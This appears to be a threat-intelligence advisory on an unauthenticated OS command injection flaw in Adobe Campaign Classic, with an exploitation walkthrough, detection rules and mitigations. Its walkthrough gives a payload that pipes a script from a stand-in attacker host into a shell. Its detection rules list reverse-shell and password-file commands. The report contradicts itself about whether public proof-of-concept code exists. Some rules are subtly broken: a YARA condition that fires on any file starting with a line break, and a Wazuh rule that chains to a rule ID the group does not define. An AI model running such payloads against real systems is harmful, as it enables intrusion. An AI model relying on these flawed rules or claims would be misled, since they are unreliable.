CVE-2026-76197

Executive Summary

CVE-2026-76197 is a critical OS Command Injection vulnerability in Adobe Campaign Classic (ACC) that allows a remote, unauthenticated attacker to achieve arbitrary code execution with the privileges of the current user. The vulnerability carries a maximum CVSS score of 10.0, indicating trivial exploitation with no user interaction required and a changed security scope. Public proof-of-concept material exists, and while the vulnerability is not yet listed on CISA's Known Exploited Vulnerabilities catalog, its combination of network reachability, no authentication requirement, and command injection permits a substantial threat to organizations relying on Adobe Campaign Classic for marketing automation.

Technical Analysis

The vulnerability is classified under CWE-78 (Improper Neutralization of Special Elements used in an OS Command), indicating that user-controlled input is incorporated into an operating system command without adequate sanitization or neutralization. In the context of Adobe Campaign Classic, this flaw exists within the application's server-side processing layer, where crafted requests containing shell metacharacters (e.g., semicolons, pipes, command substitution operators) are concatenated into a command string executed by the underlying operating system.

The CVSS vector reveals several critical attributes:

• Attack Vector: Network (AV:N) — The vulnerability is exploitable remotely over the network without physical or adjacent access.
• Attack Complexity: Low (AC:L) — No special conditions are required; the attack is straightforward to reproduce.
• Privileges Required: None (PR:N) — No prior authentication or valid session is necessary to reach the vulnerable code path.
• User Interaction: None (UI:N) — Exploitation does not require any user action.
• Scope: Changed (S:C) — The compromised component is the application, but the impact spills into the surrounding operating system environment.
• Impact: High/High/High (C:H/I:H/A:H) — Full confidentiality, integrity, and availability impact.

The changed scope (S:C) is particularly significant, indicating that a successful exploit in the application's security context transitions to a broader security boundary, resulting in operating system-level code execution. No specific vulnerable endpoints, parameters, or function names are disclosed in the NVD description, so the precise attack surface cannot be enumerated from the provided data. However, given Adobe Campaign Classic's architecture as a marketing campaign management platform deployed on enterprise servers, likely attack vectors include administrative web interfaces, API endpoints, or campaign-delivery and report-generation functions that pass user data to system shells for processing.

Exploitation Scenarios

Note: No public PoC code is available from the provided data; the attack chain is inferred from the vulnerability class and CVSS attributes.

Step 1 — Reconnaissance and Target Identification: An attacker begins by identifying internet-facing Adobe Campaign Classic instances. This is achievable through Shodan or other search engines using queries such as product:"Adobe Campaign" or http.title:"Adobe Campaign". The attacker would prioritize unpatched versions or instances that present administrative interfaces or API endpoints likely to process unauthenticated requests.

Step 2 — Triggering the Flaw: Because the vulnerability requires no authentication (PR:N) and is network-accessible, the attacker sends a crafted HTTP request to a reachable endpoint that passes unsanitized input into an operating system command. The attack involves injecting command injection metacharacters into a legitimate input field or query parameter. Since this is an OS command injection (CWE-78) rather than a different injection class, the injection point logically accepts free-form input destined for a shell.

Step 3 — Payload Execution: The attacker embeds shell commands using operators such as:

• Semicolon (;) to append a new command
• Pipe (|) to chain output
• Command substitution ($(...) or backticks) to execute nested commands

A representative injection pattern — at the class level, without fabricating a specific endpoint — would be appending ; whoami or | curl attacker.example/script.sh | sh to the input payload. Upon server-side processing, the operating system executes the injected command with the privileges of the current user running the Adobe Campaign Classic service.

Step 4 — Post-Exploitation Impact: Successful exploitation yields arbitrary code execution in the context of the current user. The changed security scope means the attacker can escape the application's intended boundaries. Depending on the service account's privileges, this could include:

• Exfiltration of campaign data, customer PII, and database credentials
• Lateral movement within the internal network
• Deployment of persistence mechanisms such as web shells or scheduled tasks
• Full system compromise if the service runs with elevated privileges

Given that exploitation does not require user interaction, the attack can be automated for mass exploitation of exposed instances.

Impact Assessment

The business impact of CVE-2026-76197 is critical. Adobe Campaign Classic is an enterprise marketing automation platform that stores and processes significant amounts of personally identifiable information (PII), customer segments, and campaign analytics. A successful exploit grants an attacker operating system-level access, transforming the application server into a beachhead for further network compromise.

Affected Systems: All internet-facing or network-accessible Adobe Campaign Classic instances are at risk. The exact affected version range is not disclosed in the provided data, which complicates asset inventory and prioritization efforts.

Blast Radius: The CVSS subscores (C:H/I:H/A:H) reflect total compromise of confidentiality, integrity, and availability. Regulatory implications are severe given the likelihood of PII exposure, potentially implicating GDPR, CCPA, or HIPAA compliance frameworks depending on the data processed.

EPSS Consideration: The EPSS score of 0.01586 (73.9th percentile) indicates moderate-to-high probability of exploitation in the wild relative to all known CVEs, warranting expedited remediation despite the current absence from CISA's KEV catalog. The existence of public PoC material raises the likelihood of imminent weaponization.

Detection Guidance

Sigma Rule

title: Adobe Campaign Classic - OS Command Injection Attempt
id: 5f8a2c1e-783d-4b6a-9e3c-2d8b4f9a6c1d
status: experimental
description: Detects potential OS command injection attempts against Adobe Campaign Classic web endpoints
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-76197
author: Valtersit Threat Intelligence
date: 2026/01/15
logsource:
    category: webserver
    product: apache
    definition: 'Requires web server access logs or reverse proxy logs'
detection:
    selection_cmd_metachar:
        cs-uri-query|contains:
            - ';'
            - '|'
            - '$(('
            - '$('
            - '`'
            - '&&'
            - '||'
    selection_adobe_paths:
        cs-uri-stem|contains:
            - '/campaign'
            - '/acc'
            - '/nl/'
    condition: selection_cmd_metachar and selection_adobe_paths
level: high
falsepositives:
    - 'Legitimate URL-encoded arguments containing semicolons in session tokens'
    - 'Query parameters with pipe-separated values in API calls'
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2026-76197

YARA Rule

rule CVE_2026_76197_Adobe_Campaign_OS_Command_Injection
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects payloads targeting OS command injection in Adobe Campaign Classic"
        cve = "CVE-2026-76197"
        date = "2026-01-15"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-76197"
        severity = "critical"

    strings:
        // Shell metacharacters in likely injection context
        $semi = ";"
        $pipe = "|"
        $cmdsub1 = "$("
        $cmdsub2 = "`"
        $andch = "&&"
        $orch = "||"

        // Adobe Campaign Classic endpoint hints
        $acc_path1 = "/campaign"
        $acc_path2 = "/acc"
        $acc_path3 = "Adobe Campaign"

        // Common command injection payload fragments
        $whoami = "whoami"
        $id_cmd = "id"
        $curl = "curl"
        $wget = "wget"
        $bash = "bash"
        $sh_c = "sh -c"
        $reverse = "nc -e"
        $reverse2 = "cat /etc/passwd"

    condition:
        // HTTP request context or log entry context
        uint16(0) == 0x0A0D or uint16(0) == 0x0D0A or
        (
            // Injection attempt targeting ACC paths
            any of ($acc_path*) and
            (
                (any of ($semi, $pipe, $cmdsub1, $cmdsub2) and any of ($whoami, $id_cmd, $curl, $wget)) or
                (any of ($andch, $orch) and any of ($bash, $sh_c, $reverse, $reverse2))
            )
        )
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-76197 - Adobe Campaign Classic OS Command Injection Attempt"; flow:established,to_server; content:"GET"; http_method; content:"/campaign"; http_uri; nocase; pcre:"/(?:;|\||\$(?:\(|\(\(?)?|`|&&|\|\|).*(?:whoami|id|curl|wget|bash|sh|nc|cat)/Ui"; reference:cve,2026-76197; reference:url,https://nvd.nist.gov/vuln/detail/CVE-2026-76197; classtype:attempted-admin; sid:20267619; rev:1;)

Elastic Detection

sequence by source.ip
  [network where event.category == "web" and
   network.protocol == "http" and
   url.path in ("/campaign", "/acc") and
   url.query : ("*$(*", "*`*", "*;*", "*|*", "*&&*", "*||*") and
   url.query : ("*whoami*", "*id*", "*curl*", "*wget*", "*bash*", "*netcat*", "*nc*")]
  [process where event.action == "exec" and
   process.name : ("sh", "bash", "cmd.exe", "powershell.exe", "python", "perl") and
   process.command_line : ("*whoami*", "*id*", "*curl*", "*wget*", "*cat /etc/passwd*")]

Splunk SPL Query

index=web sourcetype=access_combined_w3c
  (uri_path="/campaign" OR uri_path="/acc" OR uri_path="*campaign*")
  AND
  (
    uri_query="*$(*" OR uri_query="*`*" OR uri_query="*;*" OR
    uri_query="*|*" OR uri_query="*&&*" OR uri_query="*||*"
  )
  AND
  (
    uri_query="*whoami*" OR uri_query="*id*" OR uri_query="*curl*" OR
    uri_query="*wget*" OR uri_query="*bash*" OR uri_query="*nc*" OR
    uri_query="*cat /etc/passwd*"
  )
  OR
  index=os sourcetype=linux_secure
  (process="sh" OR process="bash" OR process="cmd.exe" OR process="powershell")
  AND (command="*whoami*" OR command="*curl*" OR command="*wget*" OR command="*bash -i*")
| stats count by src_ip, dest_ip, uri, _time
| sort -_time

Wazuh OSSEC Rule

<group name="adobe,">
  <rule id="887800" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">\./campaign|\./acc</field>
    <regex>(\;|\||\$\(|\`|\&\&|\|\|)</regex>
    <regex>(whoami|id|curl|wget|bash|sh -c|nc -e|cat /etc/passwd)</regex>
    <description>Adobe Campaign Classic OS Command Injection Attempt (CVE-2026-76197)</description>
    <group>attack.initial_access,execution,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
    <info type="cve">CVE-2026-76197</info>
    <info type="link">https://nvd.nist.gov/vuln/detail/CVE-2026-76197</info>
  </rule>

  <rule id="887801" level="12">
    <if_sid>2026761</if_sid>
    <field name="command">\.(sh|bash|powershell|cmd)</field>
    <description>Adobe Campaign Classic CVE-2026-76197 - Command Execution Confirmed</description>
    <group>execution,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED) — The patch assertion originates from a single source (NVD) and is not independently confirmed by a vendor advisory or secondary verification.

Immediate Mitigations (while awaiting patch confirmation):

1. Network Segmentation: Place Adobe Campaign Classic servers behind a reverse proxy or WAF that filters command injection metacharacters (;, |, $(), backticks, &&, ||) from all incoming requests.
2. Access Restriction: Enforce firewall rules to restrict access to ACC web interfaces and APIs to trusted internal networks only. Disable internet-facing exposure entirely if the platform does not require external access.
3. Monitor for Exploitation: Deploy the detection rules provided above immediately. Review web server and application logs for abnormal query strings containing shell metacharacters paired with common enumeration commands (whoami, id, curl, wget).
4. Temporary Credential Hygiene: If the service account for ACC has elevated local privileges, reduce its privileges to the minimum required for operation. Rotate any credentials or secrets stored on the affected system.
5. Backup and Snapshot: Take a clean snapshot of the system if it is not already compromised to facilitate forensic comparison.

Patch/Upgrade Steps:

1. Monitor the Adobe Security Bulletin page and NVD entry for CVE-2026-76197 for an official advisory confirming the affected version range and patched release.
2. Once the patched version is identified, apply the update during a scheduled maintenance window, following Adobe's standard upgrade procedures for Campaign Classic.
3. Verify the patch integrity using checksums or signatures provided by Adobe.
4. After patching, validate the application functionality and run a security regression test to confirm the injection vector is closed.

Long-Term Hardening:

1. Adopt a least-privilege model for all application service accounts, ensuring the ACC service runs as a non-administrative user without write access to application directories.
2. Implement a Web Application Firewall (WAF) with an OWASP Core Rule Set (CRS) that includes command injection detection rules, placed in front of ALL ACC endpoints.
3. Establish a vulnerability management process that prioritizes patch deployment for internet-facing applications within 48 hours of a critical CVE disclosure.
4. Deploy endpoint detection and response (EDR) on ACC servers to capture process-level anomalies indicative of command injection.
5. Regularly audit ACC integration points — especially any webhook, API, or SMTP delivery functions — to ensure input validation is consistently applied.

References

1. NVD Entry — CVE-2026-76197: https://nvd.nist.gov/vuln/detail/CVE-2026-76197
2. Adobe Security Bulletin (monitor for advisory): https://helpx.adobe.com/security.html
3. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
4. MITRE ATT&CK Technique T1190: https://attack.mitre.org/techniques/T1190/
5. CWE-78 Documentation: https://cwe.mitre.org/data/definitions/78.html

Threat Actor Activity: As of this report, CVE-2026-76197 is not listed in the CISA KEV catalog, and no specific threat actor campaigns have been publicly attributed to this CVE. However, the public availability of PoC material and the vulnerability's trivial exploitation profile (unauthenticated, network-accessible, no user interaction) make it a highly attractive candidate for inclusion in exploit toolkits and automated botnets. Enterprise teams should treat any internet-facing Adobe Campaign Classic instance as actively targeted and prioritize mitigation accordingly.